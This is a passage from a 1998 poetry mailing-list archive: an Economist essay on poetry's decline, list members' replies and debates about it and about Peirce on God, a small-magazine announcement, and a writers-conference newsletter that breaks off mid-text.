> It is easy now to forget just how ubiquitous poetry once was, and how central to the cultivated life. Schoolchildren were compelled to memorise long stanzas, until the rhythms of Tennyson or Longfellow were inscribed indelibly upon young minds. New poetry was reviewed as widely as novels, biographies and cookbooks are today. Now-forgotten poets such as America's John Greenleaf Whittier could become as famous, sometimes on the strength of a single poem, as actors, tycoons or politicians. Verse was humorous, populist, narrative, satirical or polemical; it was lyrical, personal or learnedly esoteric. Great occasions were marked by poems whose phrases sometimes entered the

language, at least for a while. Walt Whitman's "When lilacs last in the door-yard bloom'd" mourned the death of Abraham Lincoln. Robert Frost's reading of "The Gift Outright" dignified the inauguration of John Kennedy.

All that, however, was a long time ago. Today, contemporary poetry seems more akin to collecting butterflies, painting-by-numbers or gazing at stars: a nice pursuit for enthusiasts, but of little significance to anyone else. For many, the only poems that matter are advertising jingles, pop-music lyrics or rap music. Yet, to most people, song lyrics and rap remain one thing, poetry another. Whatever odd forms it may take, poetry is still usually assumed to consist of words to be spoken or read on their own, relished for their sound and meaning, not merely as an accompaniment to music, dancing or the latest pop video.

Old-fashioned, just-the-words poetry continues to matter in places where artistic expression is repressed. This year, Index on Censorship, which chronicles the worldwide persecution of writers, devoted its 25th anniversary issue to poets. They can still end up in jail in Turkey, Iran, China and many African countries: the jackboot still fears the quill pen. But when repression has ended, interest in poetry often evaporates. Russia is the home of such poet-heroes as Mandelstam, Akhmatova, Pasternak and Brodsky; officially tolerated poets there once filled football stadiums and people once risked their freedom, and sometimes their lives, to read something new by a forbidden hand. Today Russia seems to have turned its back on contemporary poetry, now that made-for-television movies, hamburger joints and other temptations are available.

In America and Britain, two countries with great poetic traditions and equally great poetic freedom, poetry has become more than culturally marginalised: it has fallen off the map. It is rarely reviewed in the pages of newspapers or popular magazines. Most big publishers, under pressure from their corporate bean-counters, dropped their poetry lists long ago.

The money-man, however, is no more dangerous to verse than is the modernist, with his avant-garde ethos and public-be-damned attitude. Contemporary poetry is often

obscure or self-referential, neither scans nor rhymes nor tells a story, is impossible to memorise, is often about the act of writing poetry itself, is humourless, and can be more like a puzzle than a poem. Small wonder that so many general readers, even those who lap up novels or buy theatre tickets or visit art galleries, have given up on contemporary poetry. When was the last time you bought a book of contemporary poetry? Can you remember even one poem by a living poet?

More poems, less poetry

Here arises a puzzle. Ironically, as poetry has become less significant as a cultural form, more of it has been produced. In America the explosive growth of creative-writing courses in colleges and universities has produced tens of thousands of "credentialed" poets. Most of them want to see their work in print, even if few people actually read it. Hundreds of small magazines and presses exist to oblige them, usually publishing their work in minute quantities.

Len Fulton of Dustbooks, which publishes the Small Press Review, receives books from 300 new small presses and another 300 new magazines each month. Many little publishers do not survive long. But more than 1,400 magazines and 800 small presses do last long enough to find their way into Mr Fulton's biannual "Directory of Poetry Publishers". "I've been doing this for years and I still find it amazing how much is published," he says. "Why do they do it?" The Internet, too, has produced a Niagara of self-publication by aspiring poets.

This flood of versifying flows year in, year out: and it is almost completely unnoticed by the rest of the world. Some of the verse is good. But for a general reader wanting to sample it, the sheer volume is intimidating. To find something rewarding, the curious outsider has to plough through piles of dross, with little to guide him. Ask for advice, and an expert happily rattles off a list of names. Unfortunately, a second poetic expert will come up with an entirely different list. Third expert, third list. There are some fine poets writing today, but most people, with so

many other claims on their time, can be forgiven for not finding them.

People power

So is poetry doomed forever to be like knitting, only less fun? Maybe not. Surprisingly, in the past few years it has begun to make something of a comeback. And the comeback has been led, not by more publications, but by more public readings.

In the 1990s, poetry readings have become hip. Pioneered by places such as the Nuyorican Café in Manhattan, readings have spread to most large British and American cities, and are being staged not only in universities and schools but in libraries, bookshops, cafés and bars. Many are no longer the soporific, reverential affairs of the past, but lively, even boisterous, events. Some readings attract hundreds of people. One regular feature is an "open mike", an invitation to anyone to read or improvise.

In America, poetry "slams" have become popular. Slam audiences, often of 200 or more, give each poem a "score" after it is read, until a final winner emerges in a "read-off". Perhaps the ultimate slam is a contest staged every June in Taos, New Mexico, to find the "Heavyweight Champion of Poetry". Quincy Troupe, the champion for two consecutive years (1994-95), describes an enthusiastic audience of "thousands" of people paying $15-20 to attend a week of readings which culminate in the "bout". The two contenders read a poem each for nine "rounds", which are scored for the audience by three judges. In the final round, the two poets have to improvise a poem from a word pulled out of a hat. The victor, cheered or jeered by the crowd, is awarded a trophy and heavyweight belt.

For some people, such razzmatazz is a long way from what poetry is, or should be, about. Mr Troupe, however, disagrees. He is a two-time winner of the American Book Award and a professor of literature and creative writing at the University of California in San Diego, and he sees no inherent contradiction between showmanship and seriousness. "I write for the page," he says. "Any poet worth his salt does. But I think you can have mastery, you can have thought-provoking, difficult poems, and still be able to lift the poem off the page for an audience. And if you're

going to read in front of people, you've got to give them a real performance."

Is the vogue for public reading merely a fad, the final debasement of poetry as a pretentious sort of cabaret? Or is it the beginning of a genuine revival? The answer depends on what you think went wrong in the first place. It depends, that is, on whether poets are responsible for their own isolation, or whether poetry was doomed anyway to be shoved aside by television and films and popular music and web-surfing.

"A little province for yourself"

That question has long divided the poetry world. In 1991 Dana Gioia, a poet (and former marketing manager for General Foods), set off a fierce debate in American poetry circles with an attack on American academia for turning poetry into a smug, producer-driven lobby, concerned only with its own survival and indifferent to the fact that it had alienated a wider audience. In an article entitled "Can Poetry Matter?", published in the Atlantic Monthly (and later elaborated in a book of the same title, published by the Graywolf Press), Mr Gioia lambasted the creative-writing establishment for loss of critical nerve, back-scratching and complacency.

"The proliferation of literary journals and presses over the past 30 years has been a response less to an increased appetite for poetry among the public than to the desperate need of writing teachers for professional validation," he wrote. "Like subsidised farming that grows food no one wants, a poetry industry has been created to serve the interests of the producers and not the consumers. And in the process the integrity of the art has been betrayed."

The wounds his words inflicted are still raw. When asked about Mr Gioia's argument, David Fenza--the director of Associated Writing Programs, which represents creative-writing teachers in academia--speaks of "smarmy little putzes that are blinded by their own presumptions." He flatly rejects Mr Gioia's criticisms.

"They just don't make sense," Mr Fenza says. "The spread of writing programmes represents the democratisation of the arts. Creative writing is so attractive to students because it is one way of exercising the

efficacy of the human will. There's an awful lot in our society that tells people that they don't have a free choice, that they can't make a difference. You can create a little province for yourself in a work of art, where your choices are paramount. That's a wonderful place to be."

It must be, because 11,000 American students choose to work for degrees in creative writing every year, according to Mr Fenza, of whom about half "do poetry". The number of American universities offering creative-writing degrees has quadrupled in the past 20 years to 285. Mr Fenza blames a "stupefaction and dumbing-down of the media" for its indifference to poetry, and does not believe that the creative-writing industry itself bears any of the responsibility, or even that poetry has been marginalised.

Mr Gioia remains unrepentant. Writing programmes are highly profitable for universities, he argues: hence their growth. They require no expensive laboratories, workshops or computers, just a room and a teacher. Students like creative writing because they cannot fail, since self-expression is difficult to mark. One result, Mr Gioia says, is a generation of professional poets with little experience of life outside full-time education. "The average academic poet has been in school since the age of six," he says. This hardly favours adventurousness or diversity.

The reaction to his article and book, Mr Gioia says, showed that "there is a huge reservoir of interest in poetry out there, but most people feel cut off from what they see as official culture." He was deluged with letters. People from all walks of life, including housewives, ranchers, even a Hollywood producer and a UN ambassador, wrote to support his attack on the poetry subculture. Many, he says, complained that he had not gone far enough. "These people felt deprived of something important."

Baudelaire on the Frigidaire

For Mr Gioia, the sudden boom in public readings over the past few years has vindicated his view that the poetry establishment has been smothering a wider audience for poetry. "It happened completely outside the academy," he says. "The experts were taken by surprise." He is greatly encouraged by the popularity of rap ("the metre of Beowulf

with African-American syncopation on top"), and by the recent rediscovery of such as "cowboy poetry", for which there are now 200 festivals a year (horses get in free). Mr Gioia himself is one of a group of "new formalist" poets returning to traditional poetic forms.

There is other evidence that a wider public is interested in poetry, even if not in the fare offered by many contemporary poets. How else to explain the success of Dave Kapell, a former English major and sometime songwriter in Minneapolis? Four years ago he stumbled upon the idea of selling little boxes of word magnets that people can use to compose poems on the doors of their refrigerators. Since then, sales of his "Magnetic Poetry" kits have soared. He currently ships 50,000 kits a month and expects sales of the kits and related merchandise to reach $6.5m this year.

"Many people start out by creating something pretty juvenile, often something obscene," admits Mr Kapell, "but most quickly start to take it more seriously." One who takes "magnetic poetry" seriously is Robert Pinsky, America's current poet laureate. He has written the preface to a new American anthology (from Workman Publishing) of ordinary people's "magnetic" poems, which he praises as true popular art, "the compositions of actual American people, produced not for profit but for the fun of it, to satisfy that peculiar, deep itch to make something new." (In fact, much of the collection proves that, although many people do have that peculiar, deep itch, they should probably scratch it in private.)

The enthusiasm for posted poetry extends also to public transport. Poems on London's underground trains have enriched dreary commutes for a decade. A collection of these short poems, by contemporary poets as well as long-dead masters, has sold more than 250,000 copies (Cassell), and underground systems from Sydney to Stockholm have followed London's lead, as have buses in American cities. Britain's Poetry Society recently received a £450,000 grant from National Lottery funds to place poets (not just poems) in public parks, health centres, libraries, bookshops and zoos, as well as in schools. Poets are finding work in prisons, schools and companies, helping people to express their thoughts and feelings.

More than a hanky

As heartening as all this is for poets, who are usually grateful for any attention or gainful employment, a vogue for poetry as therapy is not quite the same as a revival of poetry as art. Composing poems on one's refrigerator door, or on the wall of one's prison cell, may bring comfort. But does it really spread a genuine interest in poetry, or is it just another gimmick for the emotionally constipated and the underworked? And does anyone but the author really want to read the poems produced?

> Viv Beeby, the producer of the BBC's "Poetry Please", a long-running radio programme which invites requests from listeners, reports that most listeners ask for old favourites learned in school, not for new poems. "People still seem to turn to poetry in times of crisis, when they can't find the words to express their feelings," she says. "I suspect that most of our listeners don't read poetry at other times." Verses on headstones and in Valentine's Day cards have always been popular. But surely poetry, if it is to matter as an art form, has to be something more than a verbal handkerchief for life's weepy moments?

> No doubt it is too much to expect that poets will ever again be cultural avatars, or that legions of readers will clamour for the next verse epic from some successor to Milton or Pope or Tennyson. And yet poetry need not, perhaps, have been pushed quite so far to the sidelines. Serious playwrights and novelists still find an audience, and they still occasionally make people sit up and listen. By comparison, too many poets seem to have lost the ability, or in many cases the desire, to reach readers outside their coterie, beyond their "little province of the self".

> The beauty of a surprising image; moments of revelation or contemplation; the pleasure of a well-turned or oft-remembered phrase: these are satisfactions that poetry, above all other arts, can offer. Society can afford to ignore contemporary poetry, and poets can complacently accept their isolation. But if that is how it is to be, something valuable will have been lost--valuable beyond words.

↑ Index

438. Erik Sweet
"Tool A Magazine" available now!
Wed 19 Aug 1998

Announcing in the right corner..."Tool a Magazine"

"Available right now!!!" via mail!!!!
 and also at
St. Marks Bookstore in NYCity

The first issue of "Tool a Magazine" is available now for 6 $ postage paid

!!!!The first issue is 90 pages and includes great work from the following!!!!

Charles Bernstein, Aram Saroyan, Keston Sutherland, Jordan Davis, Brenda Iijima, Robert Kelly, Pierre Joris, Bobbie West, Harriet Zinnes, Gary Sullivan, Leslie Scalapino, Chris Fonkhauser, Joel Lewis, Patrick F. Durgin, Anselm Berrigan, Jeff Clark, MTC Cronin, Chris Stroffolino, Jason Lynn, M. Kettner, and Michael McColl.

This poetry magazine-journal is based out of Albany, NY and is paid for entirely
by the editors, Lori Quillen and Erik Sweet.

Our Party at Teachers and Writers was amazingly fun and much thanks to the readers!

Pierre Joris, Anselm Berrigan, Jordan Davis, and Eleni Sikelianos
who were all fantastic!!! Special thanks to Pierre's son Miles for breaking the Pinata!!! Special Thanks to Teachers and Writers and Jordan Davis for giving us the space for the party it was a blast!

Please make any checks out to Lori Quillen

next issue.... to be printed in October 1998 so send submisions!

"Tool a Magazine"
"Tool A Magazine"
"Tool a Magazine"

↑ Index

439. r. drake
Re: Jornal de Poesia
Wed 19 Aug 1998

---

in _Anthology of Concrete Poetry_, (Emmett Williams, ed.;
Something Else Press 1967) There's an english version of
"Servida~o de passagem", frm Edwin Morgan...

> *...i'm still looking for a translation or h. de campos' "transient servitude"*
> *so if you come across one please back channel me.*
>
> *thanks,*
> *kevin h.*

↑ Index

440. **R M Daley**
Re: Writer on Line Interview
Wed 19 Aug 1998

---

im offended.

↑ Index

441. **Mark DuCharme**
Re: je est un autre
Wed 19 Aug 1998

Je est un auteur. Signed, Joe

>My word-processing spell check translates "je" as "Joe." I propose we adopt
>joe as the universal pronoun.
>
>--
>Laura Wright
>Library Assistant
>Allen Ginsberg Library, The Naropa Institute
>2130 Arapahoe Ave
>Boulder, CO 80302
>[redacted]
> * * * * * *
>"All music is music..." -- Ted Berrigan
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>"It is very much like it" -- Gertrude Stein
>

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↑ Index

442. **Mark DuCharme**

Re: location location location

Wed 19 Aug 1998

---

w/out fearing to sound too grouchy-- let me say that any location other than that one Michaux speaks of I often find a hindrance. (but need I hasten to add that hindrances sometimes can be USEFUL)???

-Mark

>toddbaron wrote:
>
>> a question posed to the group:
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>> how does "location" (the "local" --Olson)
>> affect or help affect yr writing?
>
>Todd:
>Here is an excerpt from a still raw (read rough draft) translation of
>Michaux (thanks to Anselm), which speaks to my experience of location.
>Location is a changing constant (does that make it an everpresent
>variable?) and thus always influential, always useful. What's really
>interesting to me is the location within oneself (or joe's self) that
>external locations and situations may affect. For instance, the ugliest
>wallpaper in the world, found in a Las Vegas hotel, *does something* to
>the mind which then goes its own ways...
>
>The Michaux:
>"There is a place in the body where one prefers to live. It’s not the
>same
>for everyone. That’s normal. But it is normal for many to like to
stay
>in
>their heads. They go about, of course, move around, from organ to
>organ,
>hither and yon, but they like to return often to their heads."
>--
>Laura Wright
>Library Assistant
>Allen Ginsberg Library, The Naropa Institute
>2130 Arapahoe Ave
>Boulder, CO 80302
>[redacted]
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>"All music is music..." -- Ted Berrigan
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>"It is very much like it" -- Gertrude Stein
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Get Your Private, Free Email at http://www.hotmail.com

↑ Index

443. **Erik Sweet**
"Tool a Magazine" address
Wed 19 Aug 1998

The address to order "Tool a Magazine" is:

"Tool a Magazine"
P.O. Box 3125
Albany, New York 12203

Sorry I forgot! Checks payable to Lori Quillen, 6 $

erik sweet

↑ Index

444. **George Thompson**
Re: Writer on Line Interview
Wed 19 Aug 1998

> *im offended.*

Dear R M Daley,

I find this kind of post utterly useless and a painful waste of time. No context, no substance. I've begun to automatically delete this kind of post from the various lists that I listen to, when I figure out the sort of people who like this sort of thing, and who are prone to it.

If you want me to read your posts, please give me a reason to. Otherwise, deletion will be automatic.

GT

↑ Index

445. **ken|n|ing**

Re: _Economist_ piece on the state of poetry

Thu 20 Aug 1998

<< WHAT ever happened to poetry? Once poets spoke for the age
and strutted the cultural stage as stars. What would
European romanticism have been without Byron or Schiller?
French symbolism without Rimbaud or Baudelaire?
Anglo-American modernism without Eliot or Pound?>>

Scanning this article, I thought of Myung Mi Kim interviewed in Tripwire #1, finding a context for poetry, especially as she touches on a theory of "generosity" (which I'm not prepared to try and paraphrase) whereas the above article discusses the glut of small press publications. Frankly, mention of Pound (whom it is always safe to assume your contentious press-citizen has not read) alone contradicts what can only be the unsafe assumptions put forth in the second sentence. The way "poetry" is being considered in this article, by this author, allows for it to only be contextualized one way, negatively. Why, then, does this article matter? Whatever the statistics, which are fraudulent at best, I imagine, in any reasonable summation of a poetry's effectiveness in the social/civic sphere, the poem is no longer a site of knowing but is expected to be what none of the above cited authors ever truly were, affirming. Hypocrite reader, Patrick F. Durgin

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|
k e n n i n g``````````````|``````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

↑ Index

446. **Fredrik Hertzberg LIT**

bp would have liked this

Thu 20 Aug 1998

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>X-List-Unsubscribe:
<mailto:[redacted]?body=leave%20film-philosophy>

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447. George Bowering
Re: Writer on Line Interview
Thu 20 Aug 1998

> *im offended.*

Is that habitual? Or have you been offended by something specific?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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448. Michael Magee
Re: reactionary query
Thu 20 Aug 1998

from Henry's quote from Peirce:

"...Now such being the pragamticist's answer to the question what he means by the word "God", the question whether there really is such a being is the question whether all physical science is merely the figment - the arbitrary fig ment - of the students of nature, and further whether the _one_ lesson of Gautama Boodha, Confucius, Socrates, and all who from any point of view have had their ways of conduct determined by meditation upon the physico-psychical universe, be only their arbitrary notion or be the Truth behind the appear-ances which the frivolous man does not think of; and whether the superhuman courage which such contemplation has conferred upon priests who go to pass their lives with lepers and refuse all offer of rescue is mere silly fanaticism the passion of a baby, or whether it is strength derived from the power of the truth."

Thanks for this Henry I think it opens up much, though it's also a slippery slope, as Peirce must have recognized: he's relying on one of James's arguments from The Varieties of Religious Experience, namely, that God is "real" b/c, as a concept, he's been damn *useful* (why else bring in the sacrifical priests and lepers for back-up?) As James put it in Pragmatism, "how could pragmatism possibly deny God's existence? She could see no meaning in treating as 'not true' a notion that was pragmatically so successful." Or, as he wrote once to Oliver Wendell Holmes, "If God is dead or at least irrelevant, ditto everything pertaining to the beyong" (this is, incidentally, *13 yrs* before Nietzsche's famous pronouncement). Now, you can see where this is headed: James likes "God" but he's setting up a situation where the old boy has to earn his keep. Needless to

say, any Christain w/ even remotely fundamentalist leanings would throw a shit fit over this logic. Now, back to Peirce: he makes a somewhat different point, a kind of "18 million people can't be wrong" point (this is the number of people who bought Celine Dion's Titanic soundtrack, and so is quite obviously not true); but he also leans toward James in describing the cultural work that the concept does (the Priest's faith sends him to the leper). I wouldn't disagree entirely, but I'd want to bend the point somewhat - the key term to me is "faith" not "God." One always here's on television that people who believe in God have longer life spans than people who don't: but, not surprisingly, the media always leaves out a key, related finding, namely, that atheists of conviction (people who really "believe" in atheism) live just as long - it's us doubting, ambivalent suckers that die early, most likely from the wear and tear of stress. Now, again, what have we done to poor old "God" if we say, yes, let's keep him around, he relieves stress and increases our life span: one could say the same about a good jog in the park. And as for that priest, well, I wouldn't want to be in an argument where I had to argue for the good done in the name of God against someone arguing for the bad.

All I mean to suggest here is that once Pierce or James brings the pragmatic method to a discussion of God, God is in trouble; you start to see the writing on the wall. At the same time, I think one needs "God-terms" whose success are measured by how they operate in the culture, what they do, how they motivate. Dewey's God-term, in this sense, is "democracy," as it is for Ralph Ellison, as it is, I would say, for Cornel West. This doesn't make "democracy" any more true than "God" - and I'd agree w/ Jameson that democracy never in fact "exists," though I'd disagree with the conclusions he draws from this fact about its efficacy as a term. As an active symbol, I think democracy still earns its keep (though I like to add things to it eg, "plebeian democracy" "radical democracy"). "God" I'm less sure about.

-m.

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449. **henry**
Re: reactionary query
Thu 20 Aug 1998

Well, Mike, some good points there - but basically you're repeating what Peirce himself said in the part you didn't quote: anybody who starts to prove God's existence or attributes immediately gets into trouble. - Henry

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450. **Michael Magee**
Re: _Economist_ piece on the state of poetry
Thu 20 Aug 1998

Doesn't this idiot read Glamour magazine!?! (as a whole his piece represents most of the things in the world that I hate...at least until I have one more cup of coffee and reach equilibrium...) -m.

"In America and Britain, two countries with great poetic
traditions and equally great poetic freedom, poetry has
become more than culturally marginalised: it has fallen off
the map. It is rarely reviewed in the pages of newspapers
or popular magazines. Most big publishers, under pressure
from their corporate bean-counters, dropped their poetry
lists long ago."

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451. **Michael Magee**
Re: reactionary query
Thu 20 Aug 1998

---

touche'

According to henry:
>
> Well, Mike, some good points there - but basically you're repeating what
> Peirce himself said in the part you didn't quote: anybody who starts to
> prove God's existence or attributes immediately gets into trouble.
> - Henry
>

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452. **David W. McFadden**
Re: Bullworth
Thu 20 Aug 1998

[redacted] writes:
>>It's a strange and fascinating movie.
>>Some critics say it's profoundly racist. Others say it's the most
>>leftist and subversive thing ever done in Hollywood.
>>Can it be both?
Leftists historically have never been immune from racism. And racism can certainly be subversive. But to this viewer Bullsworth wasn't even superficially racist. In fact it was profoundly anti-racist!

Now Saving Private Ryan, that was racist!
By the way, according to Yevgeny Yevtushenko it was Warren Beatty who, before the fall of the Soviet Union, smuggled the manuscript of YY's Silver and Steel: 20th Century Russian Poetry, out of Russia and plunked it down on somebody's desk at Doubleday. Pub. in 1993.
So it's only natural that when he needed a chorus he turned to Amiri Baraka (sp?).
Perhaps Warren Beatty should be given an Honorary Membership in the Poetics List, eh?
dwm
"I never speak to anyone under grade 11."
- Overheard on Wellesley Street near Jarvis Collegiate.

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453. **Jordan Davis**
more recent economist article
Thu 20 Aug 1998

The infuriatingly dull-witted piece on the state of poetry collaged-in here is from the end of 1997, The Economist's Xmas special. While it is bad, it is old bad. There is an article in last week's Economist (the one with Old Glory full of bulletholes) reviewing David Lehman's new history of the New York School, _The Last Avant Garde_. Also discussed are Ashbery's new collection, Amy Clampitt and Raymond Carver's collecteds, and Mark Doty's new book.

Why do people keep saying John Ashbery's poetry is difficult and humorless?

Jordan

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454. **henry**
Re: reactionary query
Thu 20 Aug 1998

On Thu, 20 Aug 1998 08:18:18 -0400 Michael Magee said:
>touche'
>
>According to henry:
>>
>> Well, Mike, some good points there - but basically you're repeating what
>> Peirce himself said in the part you didn't quote: anybody who starts to
>> prove God's existence or attributes immediately gets into trouble.
>> - Henry

the part in Peirce about the uselessness of argument in this sphere sounds a lot like Whitman. Both of them had Emersonian affinities; Peirce came out of a Boston family with Transcendentalist connections. But Nicolas of Cusa (ca.1440) in _Of Learned Ignorance_ seems better to me than all of them on these issues. - Henry Gould [p.s. oh-oh - I see Jordan has sent a post - now I'm in for it!! - back to the real world, monks!!]

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455. **james perez**
brasil
Thu 20 Aug 1998

---

to whomever was looking for things brazilian for _Samizdat_ (sorry lost the original post and the computer is crash-happy today), check this site out

http://www.ekac.org/

it's one home of Eduardo Kac...he was born/grew up in Brazil and has done a lot of interesting things, mostly multimedia/technology...know that hyperpoetry stuff...now he teaches at School of the Arts Institute Chicago, or at least last I heard; if he can't provide you with stuff itself, maybe he knows some real live brazilians who can

and as a post-script to my tech problems of today, I of course had my address book set up so that it sent this message originally to the listserv command post, trying again.

jperez

_____
Get Your Private, Free Email at http://www.hotmail.com

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456. **Peter Balestrieri**
Regarding Civility on the List
Thu 20 Aug 1998

To David McFadden:

I would have thought it was obvious to anyone that the recent message posted by Laura Wright to the List regarding Todd Baron was a regrettable mistake, meant to be private, and mortifying to its sender. A MISTAKE. My post was meant to reflect my renewed belief in poetic justice and an exercising of my poetic License to Kill. Your reactions, with their gems from Bartlett's, are just silly. I would like to say that I am sloppy and stupid and that many of my ideals, ideas, and values are puppy-dog. I am often very

lonely. Big deal. And as to your use of quotation, you're playing with fire. A panhandler walks up to a Wall Street financier and asks for a handout. Wall Street says, "Neither a borrower nor a lender be. William Shakespeare." The panhandler replies, "Fuck you! David Mamet."

PB

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457. **Susan Schultz**
Re: more recent economist article
Thu 20 Aug 1998

Yes, Jordan, and the new _Economist_ article says something about Mark Doty's being "the finest American poet since Robert Lowell."

Susan Schultz

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458. **Erik Sweet**
Need Persons and Poetry
Thu 20 Aug 1998

First off: need MTC Cronin to backchannel with Australian ground address

another thing that is:Poetics Journal, ed by Lyn Hejinian and Watten,

is this available online via the EPC?

erik

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459. **Loss Pequen~o Glazier**
Re: Need Persons and Poetry
Thu 20 Aug 1998

Erik, Unfortunately this is not available at the EPC, though it sure seems it would be a good thing. -- Loss Glazier

At 02:06 PM 8/20/98 -0400, you wrote:
>First off: need MTC Cronin to backchannel with Australian ground address
>
>another thing that is:Poetics Journal, ed by Lyn Hejinian and Watten,
>
>is this available online via the EPC?
>

>erik
>

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460. **Erik Sweet**
Need Persons and Poetry/Cats
Thu 20 Aug 1998

I visited Bard to meet Scalapino in July and watched Watten give a lecture/reading....He gave out free xeroxed copies of Poetics Journal and mine was missing pages...I really enjoyed the piece done by Rod Smith using lines from old CIA manuels that he had found in the Washington DC area. My missing pages had Scalapino, Watten on HEttie Jones and Arkadii Dragomoshenko. Where can i order it, Small Press Distribution?

Anyone have an good feedback on the new Bernadette Mayer book "Another Smashed Pinecone," we picked it up this weekend in ny and it is great- good cover....

Oh yeah, this one writer, Travis Ortiz has a piece in the Poetics Journal that is interesting, "from variously, not then" he also has a piece he sent to me for "Tool a Magazine" which is equally interesting and we plan to put in numero # 2.

see ya

erik sweet

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461. **Jerry McGuire**
deep south newsletter 2, schedule & registration
Thu 20 Aug 1998

NEWSLETTER OF THE DEEP SOUTH WRITERS CONFERENCE

Volume 4 Number 2
Summer 1998

ANNOUNCING THE THIRTY-EIGHTH ANNUAL
FALL DEEP SOUTH WRITERS CONFERENCE
SEPTEMBER 24-27, 1998

The English Department of the University of Southwestern Louisiana is pleased to announce what is likely to be the liveliest Deep South Writers Conference ever. It is loaded with special events and features that will make it possible for everyone attending-every writer, fan, and student of great writing-to connect with our visiting writers and our own fine writing community in ways that will

be both entertaining and profitable. Many of the events at this year's conference will focus on an outdoor motif, emphasizing literary and artistic approaches to nature. An extraordinary range of nature essayists,

poets, and photographers will be available to meet with registrants for a weekend of workshops and readings. Here are some of the things we've got planned:

•A screening of the gripping neo-noir film The Last Seduction, followed by a discussion with its writer, Steve Barancik
•An exhibition of collaborative art-works by photographers and poets
•Panels, lectures, and workshops on genre writing, nature writing, journaling, the teaching of creative writing, and interart collaboration
•A special folklore panel treating questions of Death and Dying in literature (featuring an exhibition of poems and photographs of Mexican roadside shrines organized by New Mexico artist Paige DeShong)
•A return visit to Louisiana by William Pitt Root
•The debut of a special Nature edition of Many Mountains Moving
•A panel of editors who will discuss the question, Who wants what

I write?
•A Saturday Night "Poetry Crawl" (read on, read on . . .)

All this is in addition to our yearly readings by some of the best writers in the country. This year's distinguished visitors will include screenwriter Steve Barancik, Novelist Jodi Picoult, nature writer David Gessner, mystery writer Brian Andrew Laird, poet William Pitt Root, and poet and journal writer Pamela Uschuk. And as always, this year's conference will benefit from the participation of USL's creative writing faculty, including Joe Andriano, Darrell Bourque, Herb Fackler, Skip Fox, George Clark, Mark Lewandowski, Jerry McGuire, Burton Raffel, Denise Rogers, David Thibodaux, and Luis Alberto Urrea. USL folklorists Barry Ancelet and Marcia Gaudet will also participate in the conference, as will USL graduate students. Finally, we are especially delighted to announce that USL's celebrated writer-in residence, Ernest Gaines, will give a featured reading.

Our Featured Writers

Jodi Picoult is a critically-acclaimed author of five novels, including this year's The Pact, a novel about teen suicide and how it affects the family. Her work focuses on themes of love, family, marriage, and motherhood while examining current issues such as suicide, euthanasia, and unexpected pregnancy. Her books include Harvesting the Heart, Mercy, Picture Perfect, and Songs of the

Humpback Whale. She lives in New Hampshire with her husband and three small children, and jokes she is well-versed in

the juggling act of "writing while passing out sippy cups." She will offer a fiction workshop on Friday and a craft lecture and reading on Saturday, in addition to other conference activities open to registrants.

William Pitt Root is one of the premier poets in the United States. His work originates from the Beat milieu, but his nature-based poetry reflects affiliations with some of our great environmental poets, such as Gary Snyder and William Stafford. Faultdancing, Root's latest collection of poems, was selected for

the recent Pitt Poetry Prize. He is the author of nearly a dozen other books of poetry. Dividing his time equally between New York

City and Tucson, Arizona, he is a professor at Hunter College, while serving as official Poet Laureate of Tucson.

Brian Andrew Laird, a life-long native of the Sonoran Desert region, is a mystery writer, naturalist, editor, and short-story author. He is a fast rising member of the emerging "new mystery" community, and translates his expertise in the natural world to his novels and short stories. Laird's books include Bowman's Line, To Bury the Dead, and the forthcoming Best Shot. He is currently editing the special Nature issue of the literary journal Many Mountains Moving. Laird also serves as a freelance editor for the University of Arizona Press and teaches writing workshops and English classes both at the University of Arizona and Pima Community College. Laird will offer a craft lecture/workshop in mystery writing and a reading on Friday, and will participate in panels on Saturday and Sunday.

Pamela Uschuk will be offering a special workshop in journal writing and its role in the writer's life. A poet and fiction writer, she is currently co-writing a journaling book with poet Joy Harjo. Uschuk also teaches creative writing workshops and English classes in a wide variety of venues-at the university level, in community centers, and on Native American reservations in the west. Her numerous publications have garnered her several awards, including the Chester H. Jones Award in 1989. The wife of

William Pitt Root, her own books of poetry include Without Birds,

Without Flowers, Without Trees.

David Gessner, author of A Wild, Rank Place: One Year on Cape Cod, lives on Cape Cod with his wife, writer Marina de Gramont. His work, which combines nature writing and memoir, has been published in such distinguished publications as Creative Nonfiction, The Boston Globe, Literal Latté, Exquisite Corpse, and Puerto del Sol. One of his essays, "Going Outward," was winner of the 1997

Associated Writing Programs Intro Journals Award. The University of Arizona Press will publish his most recent book, Under the Devil's Thumb, in June 1999. At Deep South

he will read from his work, and give a craft lecture on nature writing, and join with Pamela Uschuck in a workshop on nature writing.

Special Feature: Film Noir and Screen Writing

This year's conference will open on Thursday night, September 24th, with a special on-campus screening of acclaimed Tucson-based screenwriter Steve Barancik's 1994 film The Last Seduction, a wild and ruthless thriller that expertly captures the cold, darkly paranoid heart of the film noir genre. Barancik conducts frequent workshops on the art of screen writing and has made numerous appearances at film festivals nation-wide to discuss the craft, mood, and texture of film noir. Screenwriting hopefuls are strongly encouraged to attend Thursday night's screening of The Last Seduction, after which Barancik will host a

discussion of the film. On Saturday, Barancik will give a craft lecture/workshop and take part in a panel on the genre voice, open to conference registrants.

Panels

Once again this year, the Deep South Writers Conference will present panels designed to allow conference participants to express their concerns and interests as writers and scholars. While all details have not been concluded as of this date, we expect presentations on creative writing pedagogy, on interart collaboration, and on writing and publishing genre fiction.

Special Feature: Panel of Editors

In addition, we have invited a diverse gathering of literary editors from every level of the professional publishing experience for an open and frank discussion of the sorts of writing editors seek today. As the publishing world continues in its present state of turmoil, a few hours spent in the company of

such editors will prove invaluable for the aspiring writer. The roster will include:

Literary Journal: Naomi Horii and Luis Urrea (Many Mountains Moving), Jack Bedell (Louisiana Literature)
Literary/Scholarly: Jerry McGuire (Terra Poetica, Audit, College Literature)
Freelance/Small Press: Brian Andrew Laird
Daily Newspaper: Curtis Coughlan (The Daily Advertiser)
University Press: Judith Allen of University of Arizona Press

Intensive Writing Workshops

Most published authors agree that critical discussion of works-in-progress is an essential component of the writing process. The Conference offers intensive writing workshops for conference participants, encouraging reader response and fresh criticism on manuscripts in progress. Workshop registrants will critique their own work as well as the work of their peers under the guidance of an experienced writer. Manuscripts are examined in preparation for publication, and serious writers of all levels

are encouraged to enroll. Participants receive copies of all manuscripts written by fellow workshop participants in advance with instructions on how to review and respond to them. Intensive

writing workshops will be conducted by visiting writers in poetry

